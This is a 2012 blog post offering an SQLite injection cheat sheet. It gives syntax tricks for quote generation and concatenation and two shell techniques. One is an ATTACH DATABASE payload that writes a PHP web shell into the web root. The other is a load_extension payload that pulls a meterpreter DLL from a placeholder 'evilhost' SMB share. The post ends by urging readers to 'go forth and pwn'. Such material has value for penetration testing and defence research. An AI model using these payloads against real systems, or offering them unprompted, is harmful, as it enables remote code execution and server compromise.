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SQLite3 Injection Cheat Sheet

posted May 31, 2012, 9:39 PM by Nickosaurus Hax

A few months ago I found an SQL injection vulnerability in an enterprisey webapp's help system. Turns out this was stored in a separate database - in SQLite. I had a Google around and could find very little information about exploiting SQLI with SQLite as the backend.. so I went on a hunt, and found some neat tricks. This is almost entirely applicable only to webapps using SQLite - other implementations (in Adobe, Android, Firefox etc) largely don't support the tricks below.

Cheat Sheet

 Comments --
 IF Statements CASE
 Concatenation ||
 Substring substr(x,y,z)
 Length length(stuff)
 Generate single quote select substr(quote(hex(0)),1,1);
 Generate double quote select cast(X'22' as text);
 Generate double quote (method 2) .. VALUES (“<?xml version=“||””””||1||
 Space-saving double quote generation select replace("<?xml version=$1.0$>","$",(select cast(X'22' as text)));

For some reason, 4x double quotes turns into a single double quote. Quirky, but it works.

Getting Shell Trick 1 - ATTACH DATABASE

What it says on the tin - lets you attach another database for your querying pleasure. Attach another known db on the filesystem that contains interesting stuff - e.g. a configuration database. Better yet - if the designated file doesn't exist, it will be created. You can create this file anywhere on the filesystem that you have write access to. PHP example:

?id=bob’; ATTACH DATABASE ‘/var/www/lol.php’ AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES (‘<? system($_GET[‘cmd’]); ?>’;--

Then of course you can just visit lol.php?cmd=id and enjoy code exec! This requires stacked queries to be a goer.

Getting Shell Trick 2 - SELECT load_extension

Takes two arguments:
  • A library (.dll for Windows, .so for NIX)
  • An entry point (SQLITE_EXTENSION_INIT1 by default)
This is great because 
  1. This technique doesn't require stacked queries
  2. The obvious - you can load a DLL right off the bat (meterpreter.dll? :)

Unfortunately, this component of SQLite is disabled in the libraries by default. SQLite devs saw the exploitability of this and turned it off. However, some custom libraries have it enabled - for example, one of the more popular Windows ODBC drivers. To make this even better, this particular injection works with UNC paths - so you can remotely load a nasty library over SMB (provided the target server can speak SMB to the Internets). Example:

?name=123 UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--

This works wonderfully :)

Other neat bits

If you have direct DB access, you can use PRAGMA commands to find out interesting information:
  • PRAGMA database_list; -- Shows info on the attached databases, including location on the FS. e.g. 0|main|/home/vt/haxing/sqlite/how.db
  • PRAGMA temp_store_directory = '/filepath'; -- Supposedly sets directory for temp files, but deprecated. This would’ve been pretty sweet with the recent Android journal file permissions bug.

Conclusion / Closing Remarks

SQLite is used in all sorts of crazy places, including Airbus, Adobe, Solaris, browsers, extensively on mobile platforms, etc. There is a lot of potential for further research in these areas (especially mobile) so go forth and pwn!